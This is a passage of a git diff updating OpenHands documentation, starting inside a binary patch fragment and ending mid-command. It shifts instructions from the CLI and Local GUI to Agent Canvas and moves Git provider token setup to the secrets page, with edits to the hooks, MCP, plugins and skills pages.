zk-;Xm8qI_4+{WRyevK75B5gpc0iFR*9O|}wMULrYFn*-5iSyhFg;MY|*f;U`1C)Z5 z%h`xhLfmku6;?IwvxCDKCDK0$yNW<5f`eJbyCV3Rl<wlq`ML}9#zjpvUDZlu>#+X; Dv(9s- diff --git a/openhands/usage/customization/hooks.mdx b/openhands/usage/customization/hooks.mdx index e1b878e15..445b2a7ab 100644 --- a/openhands/usage/customization/hooks.mdx +++ b/openhands/usage/customization/hooks.mdx @@ -6,7 +6,7 @@ description: Use lifecycle hooks to control agent behavior - block dangerous com ## Overview Hooks let you run custom shell scripts at key moments during an OpenHands session. They are configured per-repository -via a `.openhands/hooks.json` file and work across **Cloud**, **CLI**, and **local GUI** setups. The hooks format is +via a `.openhands/hooks.json` file and work across **Agent Canvas**, **OpenHands Cloud**, and **OpenHands Enterprise**. The hooks format is compatible with [Claude Code hooks](https://code.claude.com/docs/en/hooks), so you can reuse hook scripts across both tools. Common use cases include: @@ -375,15 +375,8 @@ You can configure multiple hook types and multiple hooks per event: ## Viewing Active Hooks -<Tabs> - <Tab title="CLI"> - Use the `/skills` command in the CLI to see loaded skills, hooks, and MCPs for the current session. - </Tab> - <Tab title="Cloud / Web"> - Active hooks are loaded automatically when a conversation starts. Hook execution events appear in the - conversation log, showing whether each hook allowed or blocked an operation. - </Tab> -</Tabs> +Active hooks are loaded automatically when a conversation starts in Agent Canvas, OpenHands Cloud, or OpenHands Enterprise. +Hook execution events appear in the conversation log, showing whether each hook allowed or blocked an operation. ## Tips diff --git a/openhands/usage/llms/custom-llm-configs.mdx b/openhands/usage/llms/custom-llm-configs.mdx index eea5f1ae7..e4a446491 100644 --- a/openhands/usage/llms/custom-llm-configs.mdx +++ b/openhands/usage/llms/custom-llm-configs.mdx @@ -63,8 +63,6 @@ Each named LLM configuration supports all the same options as the default LLM co - Token limits (`max_input_tokens`, `max_output_tokens`) - And all other LLM configuration options -For a complete list of available options, see the LLM Configuration section in the [Configuration Options](/openhands/usage/advanced/configuration-options) documentation. - ## Use Cases Custom LLM configurations are particularly useful in several scenarios: diff --git a/openhands/usage/llms/google-llms.mdx b/openhands/usage/llms/google-llms.mdx index f524da1d1..e90add72c 100644 --- a/openhands/usage/llms/google-llms.mdx +++ b/openhands/usage/llms/google-llms.mdx @@ -66,8 +66,7 @@ docker build \ ``` Then point OpenHands at your custom image via the `AGENT_SERVER_IMAGE_REPOSITORY` and -`AGENT_SERVER_IMAGE_TAG` environment variables (see the -[Custom Sandbox Guide](/openhands/usage/advanced/custom-sandbox-guide) for details). +`AGENT_SERVER_IMAGE_TAG` environment variables. #### OpenHands Enterprise (Replicated / Kubernetes) diff --git a/openhands/usage/llms/llms.mdx b/openhands/usage/llms/llms.mdx index 79234f4d8..ae657affb 100644 --- a/openhands/usage/llms/llms.mdx +++ b/openhands/usage/llms/llms.mdx @@ -134,9 +134,6 @@ LLM providers have specific settings that can be customized to optimize their pe - **Custom Tokenizers**: For specialized models, you can add a suitable tokenizer. - **Native Tool Calling**: Toggle native function/tool calling capabilities. -For detailed information about model customization, see -[LLM Configuration Options](/openhands/usage/advanced/configuration-options#llm-configuration). - ### API retries and rate limits LLM providers typically have rate limits, sometimes very low, and may require retries. OpenHands will automatically diff --git a/openhands/usage/llms/local-llms.mdx b/openhands/usage/llms/local-llms.mdx index c7fe80bd3..38ed2c8f3 100644 --- a/openhands/usage/llms/local-llms.mdx +++ b/openhands/usage/llms/local-llms.mdx @@ -90,7 +90,7 @@ If this returns the model list, the connection is working. If it hangs or errors ### 5. Start OpenHands -1. Check [the installation guide](/openhands/usage/run-openhands/local-setup) and ensure all prerequisites are met before running OpenHands, then run: +1. Make sure Docker is installed and running, then run: ```bash docker run -it --rm --pull=always \ @@ -206,11 +206,9 @@ Follow [Run OpenHands (Alternative Backends)](#run-openhands-alternative-backend If OpenHands and Atomic Chat run on the **same host without Docker** for the web UI, you can use `http://127.0.0.1:1337/v1` instead. -Atomic Chat also ships a **Launch → OpenHands** integration that can configure `LLM_BASE_URL`, `LLM_MODEL`, and `LLM_API_KEY` for the OpenHands CLI automatically. - #### Troubleshooting -- **Connection refused from Docker**: confirm Atomic Chat is running, the local server is enabled, and your `docker run` includes `--add-host host.docker.internal:host-gateway` as in [local setup](/openhands/usage/run-openhands/local-setup). +- **Connection refused from Docker**: confirm Atomic Chat is running, the local server is enabled, and your `docker run` includes `--add-host host.docker.internal:host-gateway`. - **Wrong model errors**: the Custom Model string must match an `id` returned by `GET /v1/models` after the `openai/` prefix. - **Agent ignores tools or acts like a chatbot**: try a stronger coding model or a larger context window; see [Community-Reported Notes and Troubleshooting](#community-reported-notes-and-troubleshooting) on this page. @@ -276,7 +274,7 @@ vllm serve Qwen/Qwen3.6-35B-A3B \ #### Using Docker -Run OpenHands using [the official docker run command](/openhands/usage/run-openhands/local-setup). +Run OpenHands with the `docker run` command from step 5 of the quickstart above. #### Using Development Mode diff --git a/openhands/usage/llms/openhands-llms.mdx b/openhands/usage/llms/openhands-llms.mdx index 326a6551f..dac3a2a5a 100644 --- a/openhands/usage/llms/openhands-llms.mdx +++ b/openhands/usage/llms/openhands-llms.mdx @@ -18,20 +18,9 @@ When running OpenHands, you'll need to set the following in the OpenHands UI thr - `LLM Model` to the model you will be using (e.g. claude-sonnet-4-20250514 or claude-sonnet-4-5-20250929) - `API Key` to your OpenHands LLM API key copied from above -## Using OpenHands LLM Provider in the CLI +## Using OpenHands LLM Provider in Agent Canvas -1. [Run OpenHands CLI](/openhands/usage/cli/quick-start). -2. To select OpenHands as the LLM provider: - - If this is your first time running the CLI, choose `openhands` and then select the model that you would like to use. - - If you have previously run the CLI, run the `/settings` command and select to modify the `Basic` settings. Then - choose `openhands` and finally the model. - -![OpenHands Provider in CLI](/openhands/static/img/openhands-provider-cli.png) - - -<Note> -When you use OpenHands as an LLM provider in the CLI, we may collect minimal usage metadata and send it to All Hands AI. For details, see our Privacy Policy: https://openhands.dev/privacy -</Note> +[Agent Canvas](/openhands/usage/agent-canvas/overview) is the open-source client for running OpenHands. To use your OpenHands LLM API key there, open `Settings > LLM`, choose `OpenHands` as the provider on the `Basic` tab, select a model, and paste your key. See [Configure a Model](/openhands/usage/agent-canvas/model-configuration) for details. ## Using OpenHands LLM Provider with the SDK diff --git a/openhands/usage/run-openhands/gui-mode.mdx b/openhands/usage/run-openhands/gui-mode.mdx index 0eef5a0c6..0806e45b6 100644 --- a/openhands/usage/run-openhands/gui-mode.mdx +++ b/openhands/usage/run-openhands/gui-mode.mdx @@ -88,9 +88,9 @@ You can use the Settings page at any time to: - [Setup the LLM provider and model for OpenHands](/openhands/usage/settings/llm-settings). - [Setup the search engine](/openhands/usage/advanced/search-engine-setup). - [Configure MCP servers](/openhands/usage/settings/mcp-settings). -- [Connect to GitHub](/openhands/usage/settings/integrations-settings#github-setup), - [connect to GitLab](/openhands/usage/settings/integrations-settings#gitlab-setup) - and [connect to Bitbucket](/openhands/usage/settings/integrations-settings#bitbucket-setup). +- [Connect to GitHub](/openhands/usage/settings/secrets-settings#github-setup), + [connect to GitLab](/openhands/usage/settings/secrets-settings#gitlab-setup) + and [connect to Bitbucket](/openhands/usage/settings/secrets-settings#bitbucket-setup). - Set application settings like your preferred language, notifications and other preferences. - [Manage custom secrets](/openhands/usage/settings/secrets-settings). diff --git a/openhands/usage/settings/api-keys-settings.mdx b/openhands/usage/settings/api-keys-settings.mdx index 7e03d7d70..7c15fcaa7 100644 --- a/openhands/usage/settings/api-keys-settings.mdx +++ b/openhands/usage/settings/api-keys-settings.mdx @@ -18,8 +18,7 @@ OpenHands Cloud You must purchase at least $10 in OpenHands Cloud credits before generating an OpenHands LLM Key. To purchase credits, go to [Settings > Billing](https://app.all-hands.dev/settings/billing) in OpenHands Cloud. </Note> -You can use the API key under `OpenHands LLM Key` with [the OpenHands CLI](/openhands/usage/cli/quick-start), -[running OpenHands on your own](/openhands/usage/run-openhands/local-setup), or even other AI coding agents. This will +You can use the API key under `OpenHands LLM Key` with [Agent Canvas](/openhands/usage/agent-canvas/overview) or even other AI coding agents. This will use credits from your OpenHands Cloud account. If you need to refresh it at anytime, click the `Refresh API Key` button. ## OpenHands API Key diff --git a/openhands/usage/settings/integrations-settings.mdx b/openhands/usage/settings/integrations-settings.mdx index 774148c24..c60842da6 100644 --- a/openhands/usage/settings/integrations-settings.mdx +++ b/openhands/usage/settings/integrations-settings.mdx @@ -5,10 +5,10 @@ description: How to setup and modify the various integrations in OpenHands. ## Overview -OpenHands offers several integrations, including GitHub, GitLab, Bitbucket, and Slack, with more to come. Some -integrations, like Slack, are only available in OpenHands Cloud. Configuration may also vary depending on whether -you're using [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) or -[running OpenHands on your own](/openhands/usage/run-openhands/local-setup). +OpenHands offers several integrations, including GitHub, GitLab, Bitbucket, Slack, and Jira, with more to come. Some +integrations, like Slack, are only available in [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). To save Git +provider tokens as secrets, see +[Configuring Secrets for Common Git Providers](/openhands/usage/settings/secrets-settings#configuring-secrets-for-common-git-providers). ## OpenHands Cloud Integrations Settings @@ -16,128 +16,10 @@ you're using [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) or These settings are only available in [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). </Note> -### GitHub Settings +Set up these integrations from OpenHands Cloud: -- `Configure GitHub Repositories` - Allows you to -[modify GitHub repository access](/openhands/usage/cloud/github-installation#modifying-repository-access) for OpenHands. - -### Slack Settings - -- `Install OpenHands Slack App` - Install [the OpenHands Slack app](/openhands/usage/cloud/slack-installation) in - your Slack workspace. Make sure your Slack workspace admin/owner has installed the OpenHands Slack app first. - -## Running on Your Own Integrations Settings - -<Note> - These settings are only available in [OpenHands Local GUI](/openhands/usage/run-openhands/local-setup). -</Note> - -### Version Control Integrations - -#### GitHub Setup - -OpenHands automatically exports a `GITHUB_TOKEN` to the shell environment if provided: - -<AccordionGroup> -<Accordion title="Setting Up a GitHub Token"> - - 1. **Generate a Personal Access Token (PAT)**: - - On GitHub, go to `Settings > Developer Settings > Personal Access Tokens`. - - **Tokens (classic)** - - Required scopes: - - `repo` (Full control of private repositories) - - **Fine-grained tokens** - - All Repositories (You can select specific repositories, but this will impact what returns in repo search) - - Minimal Permissions (Select `Meta Data = Read-only` read for search, `Pull Requests = Read and Write` and `Content = Read and Write` for branch creation) - 2. **Enter token in OpenHands**: - - Navigate to the `Settings > Integrations` page. - - Paste your token in the `GitHub Token` field. - - Click `Save Changes` to apply the changes. - - If you're working with organizational repositories, additional setup may be required: - - 1. **Check organization requirements**: - - Organization admins may enforce specific token policies. - - Some organizations require tokens to be created with SSO enabled. - - Review your organization's [token policy settings](https://docs.github.com/en/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). - 2. **Verify organization access**: - - Go to your token settings on GitHub. - - Look for the organization under `Organization access`. - - If required, click `Enable SSO` next to your organization. - - Complete the SSO authorization process. -</Accordion> - -<Accordion title="Troubleshooting"> - - **Token Not Recognized**: - - Check that the token hasn't expired. - - Verify the token has the required scopes. - - Try regenerating the token. - - - **Organization Access Denied**: - - Check if SSO is required but not enabled. - - Verify organization membership. - - Contact organization admin if token policies are blocking access. -</Accordion> -</AccordionGroup> - -#### GitLab Setup - -OpenHands automatically exports a `GITLAB_TOKEN` to the shell environment if provided: - -<AccordionGroup> -<Accordion title="Setting Up a GitLab Token"> - 1. **Generate a Personal Access Token (PAT)**: - - On GitLab, go to `User Settings > Access Tokens`. - - Create a new token with the following scopes: - - `api` (API access) - - `read_user` (Read user information) - - `read_repository` (Read repository) - - `write_repository` (Write repository) - - Set an expiration date or leave it blank for a non-expiring token. - 2. **Enter token in OpenHands**: - - Navigate to the `Settings > Integrations` page. - - Paste your token in the `GitLab Token` field. - - Click `Save Changes` to apply the changes. - - 3. **(Optional): Restrict agent permissions** - - Create another PAT using Step 1 and exclude `api` scope . - - In the `Settings > Secrets` page, create a new secret `GITLAB_TOKEN` and paste your lower scope token. - - OpenHands will use the higher scope token, and the agent will use the lower scope token. -</Accordion> - -<Accordion title="Troubleshooting"> - - **Token Not Recognized**: - - Check that the token hasn't expired. - - Verify the token has the required scopes. - - - **Access Denied**: - - Verify project access permissions. - - Check if the token has the necessary scopes. - - For group/organization repositories, ensure you have proper access. -</Accordion> -</AccordionGroup> - -#### BitBucket Setup -<AccordionGroup> -<Accordion title="Setting Up a Bitbucket Password"> -1. **Generate an App password**: - - On Bitbucket, go to `Account Settings > App Password`. - - Create a new password with the following scopes: - - `account`: `read` - - `repository: write` - - `pull requests: write` - - `issues: write` - - App passwords are non-expiring token. OpenHands will migrate to using API tokens in the future. - 2. **Enter token in OpenHands**: - - Navigate to the `Settings > Integrations` page. - - Paste your token in the `BitBucket Token` field. - - Click `Save Changes` to apply the changes. -</Accordion> - -<Accordion title="Troubleshooting"> - - **Token Not Recognized**: - - Check that the token hasn't expired. - - Verify the token has the required scopes. -</Accordion> - -</AccordionGroup> \ No newline at end of file +- [GitHub](/openhands/usage/cloud/github-installation): Install the OpenHands app and [modify repository access](/openhands/usage/cloud/github-installation#modifying-repository-access) at any time. +- [GitLab](/openhands/usage/cloud/gitlab-installation): Connect your GitLab projects. +- [Bitbucket](/openhands/usage/cloud/bitbucket-installation): Connect your Bitbucket repositories. +- [Slack](/openhands/usage/cloud/slack-installation): Install the OpenHands Slack app. Your Slack workspace admin or owner must install it first. +- [Jira Cloud](/openhands/usage/cloud/project-management/jira-integration): Trigger OpenHands from Jira issues. [Jira Data Center and Linear](/openhands/usage/cloud/project-management/overview) are coming soon. diff --git a/openhands/usage/settings/mcp-settings.mdx b/openhands/usage/settings/mcp-settings.mdx index 768795a70..432611bd7 100644 --- a/openhands/usage/settings/mcp-settings.mdx +++ b/openhands/usage/settings/mcp-settings.mdx @@ -40,16 +40,8 @@ Servers you add or change apply to new conversations, not to conversations that Where you configure MCP servers depends on how you run OpenHands: - **Agent Canvas** (local or connected to OpenHands Cloud): `Customize > MCP Servers`. See [Add a Custom Server](#add-a-custom-server). -- **CLI**: `openhands mcp add`, which writes `~/.openhands/mcp.json`. See [CLI MCP Servers](/openhands/usage/cli/mcp-servers). - **SDK**: pass `mcp_config` to your agent. See the [SDK MCP Guide](/sdk/guides/mcp). -<Warning> - Current OpenHands releases don't read MCP servers from a `config.toml` `[mcp]` section (`sse_servers`, - `shttp_servers`, `stdio_servers`). That format belongs to legacy OpenHands (V0). If you still have one, add those - servers again using one of the options above. The legacy format is kept for reference in the - [V0 configuration options](/openhands/usage/v0/advanced/V0_configuration-options#mcp-configuration). -</Warning> - ### Add a Custom Server To add a server that isn't in the `Marketplace`: @@ -172,8 +164,6 @@ If you maintain an MCP server and want to publish setup steps for OpenHands user - For Agent Canvas, give the `Add custom server` values: `Server Type`, then `URL` and `Authentication` (SSE/SHTTP) or `Name`, `Command`, `Command Arguments`, and `Environment Variables` (STDIO). -- For the CLI, give the `openhands mcp add` command. See [CLI MCP Servers](/openhands/usage/cli/mcp-servers). -- Don't write a `config.toml` `[mcp]` section. Current OpenHands releases ignore it. - To give the agent standing instructions (for example, when to call your tools), add them to the repository's `AGENTS.md`. OpenHands loads it into the agent's context. See [Repository Skills](/overview/skills/repo). @@ -207,28 +197,6 @@ On OpenHands Cloud, saving MCP settings keeps the OAuth credential and its token For a custom server, click `Add custom server`, choose `SHTTP` or `SSE`, and set `Authentication` to `OAuth`. Fill in `OAuth client ID`, `OAuth client secret`, and `OAuth scopes` if the server requires them. </Tab> - <Tab title="CLI"> - Use the `--auth oauth` flag when adding an MCP server: - - ```bash - openhands mcp add notion --transport http \ - --auth oauth \ - https://mcp.notion.com/mcp - ``` - - This creates a configuration in `~/.openhands/mcp.json`: - ```json - { - "mcpServers": { - "notion": { - "url": "https://mcp.notion.com/mcp", - "transport": "http", - "auth": "oauth" - } - } - } - ``` - </Tab> <Tab title="SDK"> Configure OAuth in your `mcp_config`: diff --git a/openhands/usage/settings/secrets-settings.mdx b/openhands/usage/settings/secrets-settings.mdx index 59ae1a6bc..210e1fb67 100644 --- a/openhands/usage/settings/secrets-settings.mdx +++ b/openhands/usage/settings/secrets-settings.mdx @@ -57,3 +57,113 @@ When you fill in the value and select `Add secret`: If the requested name is already saved, Agent Canvas attaches the existing secret to the running conversation and does not show a card. The agent can request a secret only on a local backend. On other backends, use `Settings > Secrets` to save the credential and start a new conversation. + +## Configuring Secrets for Common Git Providers + +### GitHub Setup + +OpenHands automatically exports a `GITHUB_TOKEN` to the shell environment if provided: + +<AccordionGroup> +<Accordion title="Setting Up a GitHub Token"> + + 1. **Generate a Personal Access Token (PAT)**: + - On GitHub, go to `Settings > Developer Settings > Personal Access Tokens`. + - **Tokens (classic)** + - Required scopes: + - `repo` (Full control of private repositories) + - **Fine-grained tokens** + - All Repositories (You can select specific repositories, but this will impact what returns in repo search) + - Minimal Permissions (Select `Meta Data = Read-only` read for search, `Pull Requests = Read and Write` and `Content = Read and Write` for branch creation) + 2. **Enter token in OpenHands**: + - Navigate to the `Settings > Integrations` page. + - Paste your token in the `GitHub Token` field. + - Click `Save Changes` to apply the changes. + + If you're working with organizational repositories, additional setup may be required: + + 1. **Check organization requirements**: + - Organization admins may enforce specific token policies. + - Some organizations require tokens to be created with SSO enabled. + - Review your organization's [token policy settings](https://docs.github.com/en/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). + 2. **Verify organization access**: + - Go to your token settings on GitHub. + - Look for the organization under `Organization access`. + - If required, click `Enable SSO` next to your organization. + - Complete the SSO authorization process. +</Accordion> + +<Accordion title="Troubleshooting"> + - **Token Not Recognized**: + - Check that the token hasn't expired. + - Verify the token has the required scopes. + - Try regenerating the token. + + - **Organization Access Denied**: + - Check if SSO is required but not enabled. + - Verify organization membership. + - Contact organization admin if token policies are blocking access. +</Accordion> +</AccordionGroup> + +### GitLab Setup + +OpenHands automatically exports a `GITLAB_TOKEN` to the shell environment if provided: + +<AccordionGroup> +<Accordion title="Setting Up a GitLab Token"> + 1. **Generate a Personal Access Token (PAT)**: + - On GitLab, go to `User Settings > Access Tokens`. + - Create a new token with the following scopes: + - `api` (API access) + - `read_user` (Read user information) + - `read_repository` (Read repository) + - `write_repository` (Write repository) + - Set an expiration date or leave it blank for a non-expiring token. + 2. **Enter token in OpenHands**: + - Navigate to the `Settings > Integrations` page. + - Paste your token in the `GitLab Token` field. + - Click `Save Changes` to apply the changes. + + 3. **(Optional): Restrict agent permissions** + - Create another PAT using Step 1 and exclude `api` scope . + - In the `Settings > Secrets` page, create a new secret `GITLAB_TOKEN` and paste your lower scope token. + - OpenHands will use the higher scope token, and the agent will use the lower scope token. +</Accordion> + +<Accordion title="Troubleshooting"> + - **Token Not Recognized**: + - Check that the token hasn't expired. + - Verify the token has the required scopes. + + - **Access Denied**: + - Verify project access permissions. + - Check if the token has the necessary scopes. + - For group/organization repositories, ensure you have proper access. +</Accordion> +</AccordionGroup> + +### BitBucket Setup +<AccordionGroup> +<Accordion title="Setting Up a Bitbucket Password"> +1. **Generate an App password**: + - On Bitbucket, go to `Account Settings > App Password`. + - Create a new password with the following scopes: + - `account`: `read` + - `repository: write` + - `pull requests: write` + - `issues: write` + - App passwords are non-expiring token. OpenHands will migrate to using API tokens in the future. + 2. **Enter token in OpenHands**: + - Navigate to the `Settings > Integrations` page. + - Paste your token in the `BitBucket Token` field. + - Click `Save Changes` to apply the changes. +</Accordion> + +<Accordion title="Troubleshooting"> + - **Token Not Recognized**: + - Check that the token hasn't expired. + - Verify the token has the required scopes. +</Accordion> + +</AccordionGroup> diff --git a/openhands/usage/troubleshooting/troubleshooting.mdx b/openhands/usage/troubleshooting/troubleshooting.mdx index 8b586d875..15d5a6449 100644 --- a/openhands/usage/troubleshooting/troubleshooting.mdx +++ b/openhands/usage/troubleshooting/troubleshooting.mdx @@ -126,8 +126,6 @@ sandbox using the `SANDBOX_VOLUMES` environment variable: the public skills cache and prevent built-in skills from loading. </Note> -See [User Skills When Running OpenHands on Your Own](/overview/skills/org#user-skills-when-running-openhands-on-your-own) for the full Docker command. - ### GitHub Organization Rename Issues **Description** diff --git a/overview/faqs.mdx b/overview/faqs.mdx index 12514da54..fd1c621fe 100644 --- a/overview/faqs.mdx +++ b/overview/faqs.mdx @@ -11,7 +11,7 @@ description: Frequently asked questions about OpenHands. [GitHub](/openhands/usage/cloud/github-installation), [GitLab](/openhands/usage/cloud/gitlab-installation), [Bitbucket](/openhands/usage/cloud/bitbucket-installation), and [Slack](/openhands/usage/cloud/slack-installation) integrations. -2. **Run on your own**: If you prefer to run it on your own hardware, follow our [Getting Started guide](/openhands/usage/run-openhands/local-setup). +2. **Run on your own**: If you prefer to run it on your own hardware, use [Agent Canvas](/openhands/usage/agent-canvas/overview), the open-source client for OpenHands. 3. **First steps**: Read over the [first projects guidelines](/openhands/usage/get-started/tutorials) and [prompting best practices](/openhands/usage/tips/prompting-best-practices) to learn the basics. @@ -41,7 +41,7 @@ input on our product roadmap. - A local process backend can access the host with the permissions of the user running Agent Server. - Container isolation can be weakened by broad mounts, privileged mode, host networking, or access to the Docker socket. -For current component and trust boundaries, see [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture), [Security Configuration](/openhands/usage/advanced/configuration-options#security-configuration), and [Hardened Docker Installation](/openhands/usage/sandboxes/docker#hardened-docker-installation). +For current component and trust boundaries, see [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture). ## File Storage and Access @@ -54,7 +54,7 @@ Your files are stored in different locations depending on how you've configured - These files are temporary and will be lost when the container is removed. - The agent works in the `/workspace` directory inside the runtime container. -**When you mount your local filesystem (following [this](/openhands/usage/sandboxes/docker#connecting-to-your-filesystem)):** +**When you mount your local filesystem:** - Your local files are mounted into the container's `/workspace` directory. - Changes made by the agent are reflected in your local filesystem. - Files persist after the container is stopped. @@ -73,7 +73,7 @@ It also has the ability to install any tools it needs, so usually it's sufficien If you would like to set things up more systematically, you can: - **Use setup.sh**: Add a [setup.sh file](/openhands/usage/customization/repository#setup-script) file to your repository, which will be run every time the agent starts. -- **Use a custom sandbox**: Use a [custom docker image](/openhands/usage/advanced/custom-sandbox-guide) to initialize the sandbox. +- **Use a custom sandbox**: Use a custom Docker image to initialize the sandbox. ### Something's not working. Where can I get help? @@ -81,7 +81,5 @@ If you would like to set things up more systematically, you can: others have encountered the same problem. 2. **Join our community**: Get help from other users and developers: - [Slack community](https://openhands.dev/joinslack) -3. **Check our troubleshooting guide**: Common issues and solutions are documented in - [Troubleshooting](/openhands/usage/troubleshooting/troubleshooting). -4. **Report bugs**: If you've found a bug, please [create an issue](https://github.com/OpenHands/OpenHands/issues/new) +3. **Report bugs**: If you've found a bug, please [create an issue](https://github.com/OpenHands/OpenHands/issues/new) and fill in as much detail as possible. diff --git a/overview/introduction.mdx b/overview/introduction.mdx index 5ea85c7f4..419f7e9d1 100644 --- a/overview/introduction.mdx +++ b/overview/introduction.mdx @@ -55,15 +55,7 @@ Each public repository includes its own license. Check the repository you use or The archived [`OpenHands/legacy`](https://github.com/OpenHands/legacy) snapshot also preserves the previous backend and runtime architecture for historical reference. -<Accordion title="OpenHands CLI and Local GUI"> - **OpenHands CLI** - - The CLI is a terminal-based interface powered by the Software Agent SDK. It is feature-complete and primarily maintained for stability. - - [Check out the docs](/openhands/usage/cli/installation) or [view the source](https://github.com/OpenHands/OpenHands-CLI). - - **OpenHands Legacy Local GUI** - +<Accordion title="OpenHands Legacy Local GUI"> The Local GUI is the deprecated Docker-based browser application from the former OpenHands monorepo. Use Agent Canvas for active browser-client development. [View the pinned source](https://github.com/OpenHands/legacy). diff --git a/overview/model-context-protocol.mdx b/overview/model-context-protocol.mdx index b98a19fc0..2f687a226 100644 --- a/overview/model-context-protocol.mdx +++ b/overview/model-context-protocol.mdx @@ -18,44 +18,13 @@ When OpenHands starts, it: | Platform | Support Level | Configuration Method | Documentation | |----------|---------------|---------------------|---------------| -| **CLI** | ✅ Full Support | `~/.openhands/mcp.json` file | [CLI MCP Servers](/openhands/usage/cli/mcp-servers) | +| **Agent Canvas** | ✅ Full Support | `Customize > MCP Servers` in the UI | [MCP Settings](/openhands/usage/settings/mcp-settings) | | **SDK** | ✅ Full Support | Programmatic configuration | [SDK MCP Guide](/sdk/guides/mcp) | -| **Local GUI** | ✅ Full Support | Settings UI + config files | [Local GUI](/openhands/usage/run-openhands/local-setup) | | **OpenHands Cloud** | ✅ Full Support | Cloud UI settings | [Cloud GUI](/openhands/usage/cloud/cloud-ui) | -## Platform-Specific Differences - -<Tabs> - <Tab title="CLI"> - - Configuration via `~/.openhands/mcp.json` file - - Real-time status monitoring with `/mcp` command - - Supports all MCP transport protocols (SSE, SHTTP, stdio) - - Manual configuration required - </Tab> - <Tab title="SDK"> - - Programmatic configuration in code - - Full control over MCP server lifecycle - - Dynamic server registration and management - - Integration with custom tool systems - </Tab> - <Tab title="Local GUI"> - - Visual configuration through Settings UI - - File-based configuration backup - - Real-time server status display - - Supports all transport protocols - </Tab> - <Tab title="OpenHands Cloud"> - - Cloud-based configuration management - - Managed MCP server hosting options - - Team-wide configuration sharing - - Enterprise security features - </Tab> -</Tabs> - ## Getting Started with MCP - **For detailed configuration**: See [MCP Settings](/openhands/usage/settings/mcp-settings) -- **For CLI usage**: See [CLI MCP Servers](/openhands/usage/cli/mcp-servers) - **For SDK integration**: See [SDK MCP Guide](/sdk/guides/mcp) - **For scoping MCP servers to an agent profile in Agent Canvas**: See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles) - **For architecture details**: See [MCP Architecture](/sdk/arch/mcp) \ No newline at end of file diff --git a/overview/plugins.mdx b/overview/plugins.mdx index da9e49f91..4f8c8d21d 100644 --- a/overview/plugins.mdx +++ b/overview/plugins.mdx @@ -291,27 +291,20 @@ The `author` field can also be a simple string such as `"Your Name"`. How you use plugins depends on your platform: <Tabs> - <Tab title="CLI"> - **Via configuration file:** - - Create `~/.openhands/config.toml`: - ```toml - [plugins] - sources = [ - "/path/to/local/plugin", - "github:org/plugin-repo", - ] - ``` - - **Via command line:** - ```bash - openhands --plugin /path/to/plugin - openhands --plugin github:org/plugin-repo - ``` - - Plugins are loaded when OpenHands starts. + <Tab title="Agent Canvas"> + **Via the Plugins page:** + 1. Open `Customize > Plugins` (or `Plugins` in the sidebar) + 2. Search the catalog and install a plugin + 3. Enable or disable installed plugins + + Enabled installed plugins load into new conversations automatically. To use a plugin in one conversation only, attach it from the `Plugins` picker in the chat launcher. + + **Via the file system:** + Place plugins in `~/.agents/plugins` or `~/.openhands/plugins`. Agent Canvas discovers them as read-only `Local` plugins. + + See [Plugins in Agent Canvas](/openhands/usage/agent-canvas/plugins) for details. </Tab> - + <Tab title="SDK"> Load plugins programmatically: @@ -337,17 +330,6 @@ How you use plugins depends on your platform: See [SDK Plugins Guide](/sdk/guides/plugins) for details. </Tab> - <Tab title="Local GUI"> - **Via UI:** - 1. Open Settings - 2. Navigate to Plugins section - 3. Add plugin path or GitHub URL - 4. Restart to load - - **Via file system:** - Place plugins in `.openhands/plugins/` in your workspace. - </Tab> - <Tab title="OpenHands Cloud"> **Via Cloud UI:** 1. Navigate to Workspace Settings @@ -368,7 +350,7 @@ How you use plugins depends on your platform: ls plugin-dir/.plugin/plugin.json || ls plugin-dir/.claude-plugin/plugin.json ``` -2. **Use the plugin path** in your configuration or command line +2. **Use the plugin**: Place the directory in `~/.agents/plugins` so Agent Canvas discovers it as a local plugin, or pass its path to the SDK with `PluginSource` ### From GitHub @@ -449,11 +431,7 @@ my-plugin/ ### 5. Test Locally -Load your plugin and verify all components work: - -```bash -openhands --plugin /path/to/my-plugin -``` +Place your plugin in `~/.agents/plugins`, start a new conversation in Agent Canvas, and verify all components work. The plugin appears as `Local` on the Plugins page. ### 6. Distribute diff --git a/overview/skills/adding.mdx b/overview/skills/adding.mdx index b6954c0d2..ad323e445 100644 --- a/overview/skills/adding.mdx +++ b/overview/skills/adding.mdx @@ -55,24 +55,24 @@ Add a skill from a custom repository: Skills are stored in different locations depending on the platform and scope: <Tabs> - <Tab title="CLI"> - The CLI supports two skill locations: - - **User-level skills** (global, available in all conversations): + <Tab title="Agent Canvas"> + Manage skills under `Customize > Skills`. Skills are scoped to the active backend. + + **Project-level skills** (specific to the conversation workspace): ``` - ~/.openhands/skills/ + .agents/skills/ ``` - - **Project-level skills** (specific to current directory): + + **User-level skills** (global, available in all conversations): ``` - .agents/skills/ + ~/.agents/skills/ ``` - - Skills added via `/add-skill` are installed in `.agents/skills/` of your current workspace, making them available for that project. - - To add skills globally, manually place skill directories in `~/.openhands/skills/`. + + Skills added with `/add-skill` are installed in `.agents/skills/` of the conversation workspace. Skills load when a conversation starts, so after installing a skill Agent Canvas shows a **Start new conversation with this skill** banner. + + See [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) for details. </Tab> - + <Tab title="SDK"> SDK users programmatically load skills: @@ -89,15 +89,6 @@ Skills are stored in different locations depending on the platform and scope: See the [SDK Skills Guide](/sdk/guides/skill) for more details. </Tab> - <Tab title="Local GUI"> - Skills are stored in: - ``` - .agents/skills/ - ``` - - The GUI provides a visual interface for managing skills, but skills can also be added manually by placing them in this directory. - </Tab> - <Tab title="OpenHands Cloud"> OpenHands Cloud provides a centralized skill library accessible through the web interface. Skills can be: - Added from the official registry with one click @@ -134,19 +125,19 @@ You can also manually install skills by copying skill directories into the appro ls .agents/skills/codereview/SKILL.md ``` -### For User-Level Skills (CLI Only) +### For User-Level Skills 1. Create the global skills directory: ```bash - mkdir -p ~/.openhands/skills + mkdir -p ~/.agents/skills ``` 2. Add skills to this directory: ```bash - cp -r /path/to/skill ~/.openhands/skills/ + cp -r 